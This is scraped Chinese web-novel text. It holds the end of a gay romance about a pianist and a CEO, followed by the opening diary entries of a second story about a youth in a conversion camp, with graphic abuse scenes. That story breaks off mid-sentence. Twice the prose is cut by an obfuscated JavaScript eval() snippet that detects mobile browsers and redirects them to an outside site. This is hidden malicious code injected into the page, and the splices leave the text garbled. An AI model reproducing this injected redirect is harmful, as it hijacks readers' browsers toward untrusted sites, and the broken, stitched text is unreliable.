林深浑身僵硬,却不敢动弹。他能感觉到陆川的脸埋在自己的颈窝,温热的呼吸喷洒在皮肤上,带来一阵战栗。 "你知道吗?"陆川的声音里带着一丝脆弱,"每次听到你的琴声,我才能感觉到自己还活着。" 林深感觉心脏猛地收缩了一下。他从未见过这样的陆川,脆弱、疲惫,仿佛卸下了所有的伪装。 "陆川......"他轻声唤道。 陆川突然转过他的身子,低头吻住了他的唇。这个吻来得猝不及防,却温柔得让人心碎。林深感觉自己的理智在一点点崩塌,他闭上眼睛,任由自己沉沦在这个吻里。 当陆川终于放开他时,两人的呼吸都有些急促。 "对不起......"陆川低声说,"我失控了。" 林深摇摇头,伸手抚上他的脸颊:"你不需要道歉。" 陆川的眼神暗了暗,突然将他打横抱起。林深惊呼一声,下意识搂住他的脖子。 "陆川!" "别怕,"陆川的声音里带着一丝笑意,"我不会伤害你。" 他将林深轻轻放在床上,俯身看着他:"可以吗?" 林深看着陆川深邃的眼睛,突然明白了什么。他轻轻点了点头,主动吻上了陆川的唇。 清晨的阳光透过窗帘的缝隙洒进来,林深缓缓睁开眼睛。身边的位置已经空了,只留下些许余温。他伸手摸了摸冰凉的床单,心里涌起一阵失落。 床头柜上放着一张便条,是陆川龙飞凤舞的字迹: 「公司有急事,先走了。晚上来接你吃饭。」 林深握着便条,嘴角不自觉地扬起。然而这份喜悦还没持续多久,就被一阵急促的门铃声打断。 他披上睡袍,疑惑地走到门口。透过猫眼,他看到一个陌生的女人站在门外。她穿着一身香奈儿套装,妆容精致,气质高贵。 林深打开门:"请问您是......" "我是陆川的未婚妻,苏婉。"女人微微一笑,眼神却冷得像冰。 林深感觉心脏猛地收缩了一下,仿佛被人狠狠攥住。他后退一步,声音有些发抖:"未......未婚妻?" "看来陆川没告诉你。"苏婉优雅地走进客厅,环视了一圈简陋的布置,"也是,他怎么会告诉你这些呢?" 林深感觉浑身发冷,他紧紧攥着睡袍的带子:"我不明白......" "很简单,"苏婉转过身,目光锐利地看着他,"陆川需要一个挡箭牌。董事会一直在催他结婚,而你,正好是个完美的选择。" 林深感觉眼前一阵发黑,他扶住墙壁才勉强站稳:"你......你在说什么?" "你以为陆川真的爱你吗?"苏婉冷笑一声,"他只是在利用你。等我们的婚约公布,他就会毫不犹豫地抛弃你。" 林深感觉呼吸越来越困难,他想起昨晚陆川温柔的眼神,想起他说"我好累"时的脆弱。难道这一切都是假的? "不......不可能......"他喃喃道。 "信不信由你。"苏婉从包里拿出一张请柬,"这是我们的订婚宴请柬,下周六晚上八点,在希尔顿酒店。如果你不信,可以亲自来看看。" 她将请柬放在茶几上,转身离开。走到门口时,她突然停下脚步:"对了,我建议你早点离开陆川。毕竟,你也不想成为破坏别人感情的第三者吧?" 门关上的那一刻,林深终于支撑不住,跌坐在地上。他感觉自己的心被撕成了碎片,每一片都在流血。 他颤抖着拿起那张请柬,烫金的字体刺痛了他的眼睛。陆川和苏婉的名字并排写在上面,仿佛在嘲笑他的天真。 手机突然响了,是陆川发来的消息: 「晚上想吃什么?我订了法餐厅。」 林深看着这条消息,眼泪终于夺眶而出。他想起陆川温柔的眼神,想起他说"我不会伤害你"时的认真。原来这一切,都只是谎言。 他颤抖着手指回复: 「对不起,我们结束吧。」 发完这条消息,他立刻关机。收拾好简单的行李,林深最后看了一眼这个充满回忆的公寓,转身离开。 他不知道该去哪里,只知道必须离开这里,离开陆川。每多待一秒,他的心就会多碎一分。 陆川站在空荡荡的公寓里,感觉自己的心也被掏空了。林深的东西都不见了,连一张照片都没留下。只有床头柜上那张他留下的便条,还静静地躺在那里。 他颤抖着手拿起便条,上面还残留着林深的气息。突然,他注意到便条背面有一行小字: 「陆川,我从未后悔遇见你,只是遗憾没能早点看清真相。」 陆川感觉心脏猛地收缩了一下,他想起苏婉今天反常的表现。早上她突然来公司,说要和他谈谈订婚的事。当时他急着去见林深,就敷衍了几句。 现在看来...... 陆川掏出手机,拨通了苏婉的号码。 "喂?"苏婉的声音依然优雅从容。 "你去找过林深?"陆川的声音冷得像冰。 电话那头沉默了几秒,然后传来一声轻笑:"怎么?你的小情人告状了?" "苏婉!"陆川低吼,"你对他做了什么?" "我只是告诉他真相而已。"苏婉的声音里带着一丝嘲讽,"陆川,你以为你能瞒多久?董事会那边一直在催,你父亲也......" "闭嘴!"陆川打断她,"我从未答应过要和你结婚!" "是吗?"苏婉冷笑,"那你觉得,凭你一个人能扛得住董事会的压力吗?你父亲的身体状况你也知道,陆氏集团现在......" 陆川直接挂断了电话。他感觉太阳穴突突地跳,头痛欲裂。掏出手机,他拨通了助理的号码:"立刻给我查林深的下落,动用所有资源!" 接下来的几天,陆川几乎没合过眼。他动用了所有关系,终于查到林深坐上了开往南方的火车。然而具体去了哪里,却无从得知。 "陆总,"助理小心翼翼地说,"林先生可能用了假身份,我们查不到他的购票信息。" 陆川一拳砸在办公桌上,指节瞬间渗出血来。他从未如此痛恨过自己的身份,如果不是这个身份带来的枷锁,他怎么会失去林深? "继续查!"他低吼道,"就算把整个南方翻过来,也要找到他!" 与此同时,林深已经在一个海边小镇安顿下来。这里远离城市的喧嚣,只有海浪的声音日夜相伴。他在一家小酒吧找到了驻唱的工作,虽然收入微薄,但足够维持生活。 每天晚上,他都会坐在海边的礁石上,看着远处的灯塔发呆。陆川的身影总是不经意间浮现在脑海中,让他心痛得无法呼吸。 一个月后的某个夜晚,林深像往常一样在酒吧驻唱。当他唱到《我好想你》时,突然看到一个熟悉的身影站在门口。 是陆川。 他看起来憔悴了许多,下巴上冒出了青色的胡茬,眼睛下面有明显的黑眼圈。然而他的目光依然灼热,直直地望向舞台上的林深。 林深的声音颤抖了一下,差点唱错词。他强迫自己移开视线,专注于歌曲。 当最后一个音符落下,酒吧里响起热烈的掌声。林深匆匆鞠躬,快步走向后台。然而还没等他关上门,一只大手就抵住了门板。 "林深......"陆川的声音沙哑而疲惫。 林深感觉心脏猛地收缩了一下,他低着头,不敢看陆川的眼睛:"你来干什么?" "我来找你。"陆川说,"我找了你整整一个月。" 林深感觉眼眶发热,他强忍着泪水:"找我干什么?你不是有未婚妻了吗?" "我没有未婚妻!"陆川突然提高声音,"那都是苏婉的阴谋!我从未答应过要和她结婚!" 林深抬起头,惊讶地看着他。 陆川趁机挤进后台,反手关上门。狭小的空间里,两人的呼吸交织在一起。 "林深,"陆川的声音里带着一丝哽咽,"对不起。我不该让你误会,不该让你伤心。但是请你相信,我对你的感情是真的。" 林深感觉眼泪终于控制不住地流下来。他看着陆川憔悴的脸,突然意识到这一个月,他过得并不比自己好。 "陆川......"他哽咽着说,"我好想你......" 陆川一把将他搂进怀里,紧紧地抱住:"我也想你,每一天,每一秒都在想你。" 陆川紧紧抱着林深,仿佛一松手他就会消失。林深的脸埋在他的胸口,温热的泪水浸湿了他的衬衫。 "对不起......"陆川低声说,"我不该让你误会,不该让你伤心。" 林深抬起头,泪眼朦胧地看着他:"你真的没有未婚妻?" "没有。"陆川坚定地说,"那都是苏婉的阴谋。我从未答应过要和她结婚。" 林深感觉心里的石头终于落地,但随即又涌起一阵担忧:"那董事会那边......" "我会处理。"陆川打断他,"林深,这一次,我不会再让你受任何委屈。" 林深看着陆川坚定的眼神,突然感觉鼻子一酸。他紧紧抱住陆川,仿佛要将这一个月来的思念都倾诉给他。 陆川轻轻抚摸着他的后背,低声说:"跟我回去吧。" 林深犹豫了一下,还是点了点头。 回到城市后,陆川立刻召开新闻发布会,宣布辞去陆氏集团CEO的职位。这一决定震惊了整个商界,也引起了董事会的强烈反对。 "你疯了吗?"陆父气得脸色发青,"为了一个男人,你要放弃整个陆氏?" 陆川平静地看着父亲:"爸,我已经决定了。陆氏可以没有我,但我不能没有林深。" 陆父沉默了。他看着儿子坚定的眼神,突然想起了自己年轻时的模样。那时的他,也曾为了爱情不顾一切。 "罢了,"陆父叹了口气,"随你吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353445|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' " 与此同时,林深也在为陆川的付出感到不安。他看着陆川每天早出晚归,处理辞职后的各种事务,心里充满了愧疚。 "陆川,"他轻声说,"其实你不用这样的......" 陆川放下手中的文件,走到他身边:"林深,这是我自己的选择。我不想再被那些枷锁束缚,我只想和你在一起。" 林深感觉眼眶发热,他紧紧抱住陆川:"谢谢你......" 一个月后,陆川带着林深来到了一个新的城市。这里没有陆氏的阴影,也没有董事会的压力。他们在一栋小公寓里安顿下来,开始了新的生活。 陆川成立了一家小型投资公司,而林深则在一家音乐培训机构找到了工作。虽然收入不如以前,但两人都感到前所未有的轻松和快乐。 每天晚上,他们都会坐在阳台上,看着城市的夜景。陆川会搂着林深,听他弹琴,或者只是静静地依偎在一起。 "林深,"陆川突然说,"我们结婚吧。" 林深惊讶地转过头:"可是......" "没有可是。"陆川握住他的手,"我爱你,我想和你共度余生。" 林深感觉眼泪夺眶而出,他紧紧抱住陆川:"我也爱你。" 第二天,他们去了民政局,领了结婚证。虽然没有盛大的婚礼,但两人都觉得,这一刻比什么都重要。 晚上,陆川带着林深来到一家高档餐厅。当侍者推着蛋糕出来时,林深惊讶地发现,蛋糕上写着:"猜猜我有多爱你?" 陆川单膝跪地,掏出一枚戒指:"林深,我知道这个求婚来得有点晚,但我希望你能接受。因为我对你的爱,就像这首歌一样,永远都不会结束。" 林深泪流满面,他伸出手,让陆川为他戴上戒指:"我愿意。" 清晨的阳光透过窗帘的缝隙洒进来,林深缓缓睁开眼睛。他发现自己正躺在陆川的怀里,男人的手臂紧紧搂着他的腰,温热的呼吸喷洒在他的颈间。 林深轻轻动了动,想要起身,却被陆川搂得更紧。 "再睡会儿......"陆川的声音带着晨起的沙哑,慵懒而性感。 林深感觉耳根发烫,他轻轻推了推陆川:"该起床了,你今天不是要见客户吗?" 陆川不情愿地睁开眼睛,看着怀里的人:"比起见客户,我更想见你。" 林深忍不住笑了:"油嘴滑舌。" 陆川低头在他唇上轻啄一下:"只对你一个人油嘴滑舌。" 两人又在床上腻歪了一会儿,才依依不舍地起床。陆川走进浴室洗漱,林深则去厨房准备早餐。 这是他们搬到新城市后的日常。虽然没有了以前的奢华生活,但两人都感到前所未有的幸福。 "今天中午我去公司找你吃饭?"陆川一边系领带一边问。 林深正在煎蛋,闻言转过头:"好啊,不过你别又像上次一样,突然有个会议要开。" 陆川走到他身后,搂住他的腰:"放心,今天就算天塌下来,我也要和你一起吃午饭。" 林深笑着推开他:"快去上班吧,别迟到了。" 陆川离开后,林深收拾好厨房,也准备去音乐培训机构上班。他刚走到门口,手机突然响了。 是陆川发来的消息: 「路上小心,爱你。」 林深看着这条消息,嘴角不自觉地扬起。他回复: 「你也是,路上小心。」 到了培训机构,林深开始了一天的工作。他主要负责钢琴教学,偶尔也会教一些乐理知识。虽然收入不高,但他很享受这份工作。 中午,陆川准时来到培训机构。他穿着一身剪裁得体的西装,手里还提着一个保温盒。 "我给你带了午饭。"陆川笑着说,"是你最爱吃的糖醋排骨。" 林深惊讶地看着他:"你什么时候学会做饭了?" "特意学的。"陆川得意地说,"总不能老是让你做饭吧。" 两人坐在休息室里,分享着陆川带来的午饭。虽然糖醋排骨的味道还有待改进,但林深觉得,这是他吃过最美味的午餐。 "下午我要去见个客户,"陆川说,"可能会晚点回来。" 林深点点头:"别太累了。" 陆川凑近他,低声说:"晚上等我回来,我们一起看电影?" 林深感觉耳根发烫,他轻轻推了推陆川:"快去工作吧。" 陆川离开后,林深继续下午的教学。然而他的心思却总是不自觉地飘向陆川,想着他此刻在做什么,有没有好好吃饭。 晚上,陆川果然准时回来了。他手里还提着一袋爆米花和两杯奶茶。 "我买了你最爱喝的珍珠奶茶。"陆川笑着说。 林深接过奶茶,心里暖暖的。两人窝在沙发上,看着一部老电影。陆川的手臂自然地搂着林深的肩,时不时低头在他额头上落下一个轻吻。 电影结束后,陆川突然说:"林深,我们养只猫吧。" 林深惊讶地看着他:"怎么突然想养猫了?" "我觉得家里有点冷清,"陆川说,"而且你不是很喜欢猫吗?" 林深心里一暖,他没想到陆川还记得自己喜欢猫。他点点头:"好啊,周末我们去宠物店看看?" 陆川笑着吻了吻他的唇:"都听你的。" 周末的阳光温暖而明媚,陆川和林深手牵手走在去宠物店的路上。街道两旁的梧桐树投下斑驳的影子,微风拂过,带来一丝凉意。 "你想养什么品种的猫?"陆川问。 林深想了想:"我觉得领养比较好,给那些无家可归的小猫一个家。" 陆川笑着捏了捏他的手:"你还是这么善良。" 到了宠物店,店员热情地接待了他们。在领养区,林深一眼就看中了一只橘色的小猫。它正蜷缩在角落里,怯生生地看着他们。 "这只猫是上周被送来的,"店员介绍道,"它很温顺,就是有点怕生。" 林深蹲下身,轻声呼唤:"小橘,过来。" 小猫犹豫了一下,慢慢走了过来。它用头蹭了蹭林深的手,发出咕噜咕噜的声音。 "它喜欢你。"陆川说。 林深抱起小猫,轻轻抚摸它的头:"我们就要它了,好吗?" 陆川点点头:"都听你的。" 办理完领养手续,两人带着小橘回家。一路上,林深都小心翼翼地抱着小猫,生怕它受到惊吓。 回到家,陆川立刻开始布置猫窝和猫砂盆。林深则给小橘准备食物和水。 "我们得给它取个名字。"林深说。 陆川想了想:"叫''月光''怎么样?就像我们第一次......" 林深脸一红,轻轻推了他一下:"正经点。" 最后,他们决定叫它"小太阳",因为它的毛色像阳光一样温暖。 接下来的日子里,小太阳很快适应了新家。它特别喜欢趴在林深的钢琴上,听着他弹琴。有时候陆川工作到很晚,小太阳就会陪在林深身边,仿佛在安慰他。 一天晚上,陆川回到家,发现林深正在教小太阳"弹琴"。小猫的爪子按在琴键上,发出杂乱的声音,逗得林深哈哈大笑。 陆川站在门口,看着这一幕,心里涌起一股暖流。他悄悄拿出手机,拍下了这温馨的一幕。 "在笑什么?"陆川走过去,搂住林深的肩。 林深靠在他怀里:"小太阳今天特别调皮,把猫粮打翻了,还偷吃了我的三明治。" 陆川低头吻了吻他的发顶:"它跟你一样可爱。" 林深脸一红,轻轻推了推他:"别闹。" 陆川突然说:"林深,我想给你一个惊喜。" 林深疑惑地看着他:"什么惊喜?" 陆川神秘地笑了笑:"明天你就知道了。" 第二天,陆川带着林深来到一栋老房子前。这是一栋两层的小楼,带着一个小花园。 "这是......"林深惊讶地看着他。 "我们的新家。"陆川说,"我买下来了。一楼可以做你的音乐教室,二楼是我们的住处。花园里可以种些花,还可以给小太阳建个猫屋。" 林深感觉眼眶发热:"你什么时候......" "这段时间一直在准备。"陆川握住他的手,"林深,我想给你一个真正的家。一个属于我们的家。" 林深紧紧抱住陆川,眼泪夺眶而出:"谢谢你......" 陆川轻轻抚摸他的后背:"傻瓜,这是我应该做的。" 新家的装修花了将近两个月的时间。陆川和林深每天都忙得不可开交,但看着房子一点点变成他们梦想中的样子,所有的辛苦都值得了。 终于,在一个阳光明媚的周末,他们搬进了新家。 "欢迎回家。"陆川站在门口,对林深伸出手。 林深握住他的手,走进新家。阳光透过落地窗洒进来,照亮了整个客厅。钢琴放在靠窗的位置,旁边是小太阳的猫爬架。 "喜欢吗?"陆川问。 林深点点头,眼里闪着泪光:"太喜欢了。" 陆川搂住他的肩:"走,我带你去看看音乐教室。" 一楼被改造成了一个温馨的音乐教室。墙上挂着各种乐器,角落里还放着一架二手钢琴。 "这是给学生们准备的,"陆川说,"你可以在这里教课,不用再去培训机构了。" 林深感动地看着他:"你什么时候准备的这些?" "这段时间你忙着装修,我就偷偷准备了。"陆川笑着说,"我知道你一直想有自己的音乐教室。" 林深紧紧抱住陆川:"谢谢你......" 陆川低头吻了吻他的额头:"傻瓜,这是我应该做的。" 搬进新家的第一天晚上,两人坐在花园里,看着满天繁星。小太阳趴在林深的腿上,发出咕噜咕噜的声音。 "林深,"陆川突然说,"我们办个婚礼吧。" 林深惊讶地看着他:"婚礼?" "对,"陆川握住他的手,"虽然我们已经领证了,但我还是想给你一个正式的婚礼。让所有人都知道,你是我最爱的人。" 林深感觉眼眶发热:"可是......" "没有可是,"陆川打断他,"我知道你在担心什么。但是林深,这一次,我要让全世界都知道,我爱你。" 林深紧紧抱住陆川,眼泪夺眶而出:"好......" 婚礼的筹备工作开始了。陆川包揽了大部分工作,只让林深负责选择音乐和菜单。 "你只需要负责美美的当新郎就好了。"陆川笑着说。 林深无奈地摇摇头:"你这样会把我宠坏的。" "我就是要宠你,"陆川搂住他的腰,"宠你一辈子。" 婚礼当天,阳光明媚。花园里布置满了鲜花,宾客们陆续到来。虽然规模不大,但每一个都是他们最亲近的人。 当林深穿着白色西装出现在红毯尽头时,陆川感觉自己的心跳都停止了。他的林深,美得像个天使。 音乐响起,是林深最喜欢的《月光奏鸣曲》。他缓缓走向陆川,眼里含着幸福的泪水。 陆川握住他的手,轻声说:"林深,从第一次听到你的琴声,我就知道,你是我要找的人。谢谢你,愿意成为我的另一半。" 林深哽咽着说:"陆川,谢谢你,给了我一个家。我爱你。" 在亲友的祝福声中,两人交换了戒指,许下了一生的承诺。 晚上,宾客散去后,两人坐在花园里,看着满天繁星。 "林深,"陆川突然说,"我们要个孩子吧。" 林深惊讶地看着他:"孩子?" "对,"陆川握住他的手,"我们可以领养一个。让他在我们的爱中长大,听你弹琴,跟我学做生意。" 林深感觉眼眶发热:"好......" 陆川搂住他的肩:"我们要给他最好的生活,最好的教育。让他知道,爱是没有界限的。" 林深靠在陆川怀里,看着满天繁星。他知道,他们的故事才刚刚开始。未来的路还很长,但只要和陆川在一起,他就无所畏惧。 --完-- 12. 第 14 章 《戒同所日记》by水之声简介:我叫林默,今年22岁。 我曾以为,只要我足够沉默,世界就会放过我。 可他们还是把我送到了这里——戒同所。 他们说这是为了我好,说这是一种“治疗”,说我可以“恢复正常”。 但我知道,我从来就没有病。 我只是爱上了一个人,而他恰好和我性别相同。 在这里,每一天都是一场噩梦。 电击、药物、无尽的洗脑课程…… 他们试图抹去我的记忆,抹去我的情感,抹去我的一切。 可我依然记得他,记得他的笑容,记得他手心的温度。 我不知道我还能坚持多久。 但我知道,我必须写下这一切。 因为如果我不说,没有人会知道这里发生了什么。 如果我不说,那些和我一样的人,可能会永远消失在这个世界的阴影里。 这是我的日记,也是我的反抗。 即使他们夺走我的自由,我也绝不会让他们夺走我的灵魂。 ——林默正文2019年9月22日星期日阴我叫林默,今年22岁。今天是我来到戒同所的第一天。我从未想过,父母会以旅游的名义将我骗到这里。当那扇铁门在身后重重关上时,我才意识到自己已经失去了自由。这里的一切都是灰色的。灰色的墙壁,灰色的制服,连空气都仿佛染上了一层灰。走廊里回荡着此起彼伏的哭喊声,像是某种诡异的交响乐。我被带到一个房间,里面摆着四张铁架床。一个穿着白大褂的男人递给我一套制服,他的眼神让我想起解剖台上的青蛙——冰冷、麻木、毫无生气。"换上衣服,然后去上课。"他说。我抱着制服站在原地,直到他离开才颤抖着换上。布料粗糙得像是砂纸,摩擦着我的皮肤,带来阵阵刺痛。上课的地方像是一间教室,但又不像。墙上贴着各种海报,上面写着"同性恋是病"、"矫正性取向"之类的标语。我数了数,教室里坐着大约二十个人,有男有女,都低着头,像是一群待宰的羔羊。突然,一声尖叫打破了沉默。我转头看去,一个瘦弱的男生被两个护工拖了出去。他的手腕上还戴着和我一样的手环,上面写着"17号"。"他需要接受治疗。"站在讲台上的男人说。他自称王医生,但我从他眼中看不到任何医者应有的慈悲。"你们都是病人,"他继续说,"但不要担心,我们会治好你们。只要配合治疗,很快就能恢复正常。"我死死咬住嘴唇,不让自己发出声音。我知道,一旦表现出任何反抗的迹象,下一个被拖出去的可能就是我。下午,我们被带到另一个房间。这里摆着几台奇怪的机器,上面连着电极。我看到17号被绑在一张椅子上,他的头发已经被剃光了。"这是电击治疗,"王医生说,"可以帮助你们建立正确的条件反射。"当电极接通的那一刻,17号的尖叫声几乎刺穿我的耳膜。他的身体剧烈抽搐着,像是一条被扔上岸的鱼。我闭上眼睛,但那些声音依然钻入我的脑海。我想起陈阳。想起他第一次牵我的手时,手心微微的汗意。想起他为我弹吉他时,睫毛在灯光下投下的阴影。想起他最后一次吻我时,眼角滑落的泪水。他们说这是病,可为什么爱一个人会是一种病?晚上,我蜷缩在床上,借着月光写下这些文字。我不知道这本日记能保存多久,但我知道,我必须记下这一切。为了陈阳,为了17号,为了所有被困在这里的人。窗外的月光很冷,像是一把锋利的刀。我摸了摸藏在枕头下的笔,这是我在更衣室偷偷藏起来的。也许明天它就会被发现,但至少今晚,我还能写下这些文字。我想起陈阳说过的话:"沉默不是保护,而是另一种伤害。"是啊,我必须说出来。即使声音再小,也要说出来。2019年9月23日星期一 雨今天下雨了。 窗外的雨滴敲打着铁栏杆,声音很轻,像是有人在低声啜泣。我醒来时,17号的床铺已经空了。床单平整得像是从来没有人睡过,只有枕头上几根断发证明他确实存在过。 没有人提起他。 早餐是一碗稀粥和半个馒头。我强迫自己咽下去,因为昨天亲眼看见一个女孩因为拒绝进食被按着鼻子灌流食。她挣扎时,米汤从鼻腔里喷出来,混着眼泪和鼻涕。护工笑着说:"再闹,下次就用粪水灌。" 上午的"课程"是观看矫正成功的案例视频。屏幕里的年轻人机械地重复着"我已经痊愈了""感谢医生",眼神空洞得像被掏空的玩偶。王医生让我们挨个站起来表态,轮到我的时候,我说:"我想治好自己。"声音干涩得不像自己的。 王医生满意地点头,在我的档案上打了个勾。 下午是"行为矫正训练"。我们被分成两组,男生和女生分开。训练室里摆着几张长桌,上面放着一些衣着暴露的异性照片。护工命令我们盯着看,如果有人表现出厌恶或不适,就会被记过。 "17号就是在这里不配合,才需要加强治疗。"一个护工故意大声说。 我死死盯着照片,眼睛酸得流泪也不敢眨。照片上的女人涂着鲜艳的口红,胸口袒露,可我只觉得反胃。不是因为她是女人,而是因为这一切——强迫、羞辱、扭曲——让我想吐。 突然,隔壁传来一阵骚动。接着是耳光声,和什么东西撞在墙上的闷响。护工们冲过去,我趁机垂下眼睛,深呼吸。 晚上回宿舍时,我发现我的枕头被人翻过了。日记本还在,但笔不见了。 我摸着空荡荡的枕头套,突然听见上铺传来轻微的敲击声。三长两短,停顿,再两长一短。我愣了几秒,才意识到是摩斯电码。 "HELP" 我屏住呼吸,轻轻敲了敲床板作为回应。上铺的人似乎松了口气,又敲了一串。这次更复杂,但我听懂了—— "17号还活着。" 我盯着头顶的床板,心脏跳得发疼。雨还在下,水滴顺着窗缝渗进来,在水泥地上积成小小的水洼。借着月光,我看见水里映出自己的脸——苍白、陌生,眼睛里有什么东西正在一点点死掉。 但此刻,我却感到一丝微弱的希望。 至少,还有人没有放弃反抗。2019年9月24日星期二阴转小雨凌晨四点,我被一阵压抑的呜咽声惊醒。 上铺的男孩——我现在知道他是9号——正蜷缩在被子发抖。月光透过铁窗照进来,我看见他死死咬着被角,指节攥得发白。我犹豫了一下,轻轻敲了敲床架。 他僵住了,随后探出半张脸。是个很清秀的男孩,眼睛红肿,嘴角结着血痂。 "做噩梦了?"我用气音问。 他摇摇头,指了指自己的胃。我这才注意到他额头上的冷汗。从枕头下摸出半块藏起来的馒头递上去,他狼吞虎咽地吃了,连掉落的碎屑都舔干净。 "他们不给晚饭,"他声音哑得几乎听不见,"说我白天偷看23号。" 23号是女生组的。我想起昨天护工说的"交叉刺激疗法",胃里一阵翻腾。 早餐时我偷偷多拿了一个鸡蛋。护工发现后,用警棍狠狠抽了我的手背。鸡蛋掉在地上,被一脚踩碎。王医生站在二楼观察窗后面微笑,像在看一场有趣的实验。 上午的"治疗"是药物注射。排队时,9号突然抓住我的手腕:"别让他们打第三针。"他很快被护工拖走,但我看见他嘴唇在动:"会失禁。" 针头扎进静脉时,一股寒意顺着血管爬上来。第一针让我头晕目眩,第二针后视线开始模糊。轮到第三针时,我"恰好"晕倒在注射台前。护工骂骂咧咧地把我拖到禁闭室,反而让我逃过了最可怕的药剂。 禁闭室没有窗户,只有一只坏掉的灯泡在闪。黑暗中,我摸到墙上有无数刻痕。有的歪歪扭扭写着名字,有的只是重复的"正"字。最底下有一行小字:"陈阳,等我"——字迹被反复摩挲得模糊不清。 我突然开始干呕。 他们不知道陈阳是谁。不知道这个名字对我意味着什么。就像他们不知道,此刻我正用指甲在墙上刻下新的痕迹: "林默,第3天" 傍晚被放出来时,走廊里回荡着撕心裂肺的哭声。23号被三个护工按在担架上,裙子全是血迹。她拼命伸手想抓住什么,最后只扯断了脖子上的编号牌。金属牌滚到我脚边,背面刻着一行小字:"蓉蓉女 19岁 2019.8.15入" 我趁人不备把牌子塞进袜子。晚上洗漱时,9号在哗哗的水声中对我说:"她怀孕了。"肥皂泡在他手上破裂,"他们用电极...说是净化子宫..." 熄灯后,我把蓉蓉的编号牌藏进日记本。月光照在铁窗上,投下监狱般的栅栏阴影。上铺传来规律的敲击声,这次是七个音节: "明-天-会-下-暴-雨" 远处传来闷雷,像某种回应。2019年9月25日星期三暴雨暴雨砸在屋顶铁皮上,像千万只拳头在擂鼓。 天还没亮,几辆沾满泥浆的卡车就碾过院子里的水洼,停在主楼侧门。雨幕太厚,看不清车上下来多少人,只听见铁链拖地的声音混在雷声里,格外刺耳。 早餐时气氛更压抑了。几个新面孔出现在队伍里,眼神比我们当初更茫然,像刚被剪断翅膀的鸟。9号用胳膊肘碰我,眼神示意角落:一个瘦小的男孩正被护工揪着头发往墙上撞,因为他打翻了粥碗。 “新货到了,”隔壁桌的男生低声说,他嘴角有道刚结痂的疤,“床位不够,又要‘处理’掉一批了。” 上午的“心理疏导”改在礼堂。王医生的声音透过麦克风嗡嗡作响,雨水顺着礼堂高窗的缝隙流下来,在水泥地上蜿蜒成扭曲的河。 “你们是社会的毒瘤!是家庭的耻辱!”他唾沫横飞,“但仁慈的主给了你们机会!只要根除病源,你们还能做个干净的人!” 投影幕布亮起,放大的生殖器解剖图冲击着所有人的视线。王医生要求我们大声念出那些部位的“正确功能”,有人吐了。护工揪着那人的头发,把呕吐物抹在他脸上:“脏东西,就该待在脏地方!” 轮到9号时,他紧闭着嘴。警棍砸在他后腰的瞬间,我脱口而出:“□□是用于与女性进行合法生殖行为的器官!”声音大得把自己都吓了一跳。 王医生满意地点头。9号被拖下去时,看了我一眼。不是怨恨,是理解。 午休时,暴雨更猛了。我溜进空无一人的盥洗室,把日记本藏在漏水的水箱后面。刚出来,就撞见9号蜷在楼梯间角落,手里攥着一截从配电箱扯出来的铜线。 “17号在禁闭楼地下室,”他语速飞快,雨水顺着发梢滴进领口,“昨晚运尸车来,我听见护工说……说他‘废了’,但‘零件还能用’。”他喉咙滚动了一下,“他们要摘他的肾。” 我浑身发冷:“你怎么知道?” “我以前……是医学生。”他惨笑一下,指了指自己太阳穴,“被送进来,因为‘书读太多,思想歪了’。” 远处传来护工的吼叫。9号迅速把铜线塞进墙缝:“今晚十点,断电五分钟。东墙铁丝网左下角,我做了绝缘处理。”他抓住我的手腕,力气大得惊人,“跑!带着所有人的份,跑出去!” 下午的“劳动改造”是在暴雨里清理排水沟。污泥裹着腐烂的树叶,散发出沼气般的恶臭。我们赤脚站在及膝的污水里,用铁锹挖开堵塞的管道。护工披着雨衣在岸上巡视,不时用电棍戳刺动作慢的人。 我故意把淤泥甩到岸上。护工咒骂着跳开时,我趁机把23号蓉蓉的金属编号牌塞进挖开的淤泥深处。冰冷的金属贴着指尖滑下去,像一颗沉入水底的种子。 “贱骨头!”护工的警棍砸在我肩上,火辣辣的疼。 雷声滚过天际。在弯腰承受殴打的瞬间,我看见东墙角落——两根被暴雨冲刷得发亮的铁丝,缠绕着一块黑色的橡胶皮。9号没有骗人。 晚上,宿舍弥漫着一股诡异的甜腥味。新来的男孩缩在17号空出的床位上发抖,他手腕的编号是“37”。熄灯前,护工突然闯进来,拖走了37号。男孩的哭喊卡在喉咙里,只发出嗬嗬的气音,像被割了喉的鸡。 9号在上铺翻了个身,床板发出有节奏的轻响: “十” “点” “准” “时” 窗外炸开一道惨白的闪电。瞬间的光亮中,我看见对面禁闭楼的底层窗户——一只毫无血色的手正贴在玻璃内侧,五指张开,像一片枯萎的叶子。 秒针在血管里跳动。我握紧拳头,指甲深深掐进掌心。 暴雨声震耳欲聋,盖过了所有呜咽。2019年9月26日星期四阴凌晨三点十七分,我浑身湿透地蜷缩在荒草丛中,右腿有一道深可见骨的伤口正在渗血。 9号死了。 我亲眼看着他被电网缠住,像只被钉在标本板上的蝴蝶般剧烈抽搐。最后一刻他还在嘶吼:“跑啊!别回头!”闪电劈下来的瞬间,他的身体在高压电中绷成一道惨白的弧光。 现在,我趴在距离戒同所两公里外的废弃水渠里。雨水混着血水在身下积成暗红色的小洼,每次呼吸都带着铁锈味。怀里紧攥着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353446|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 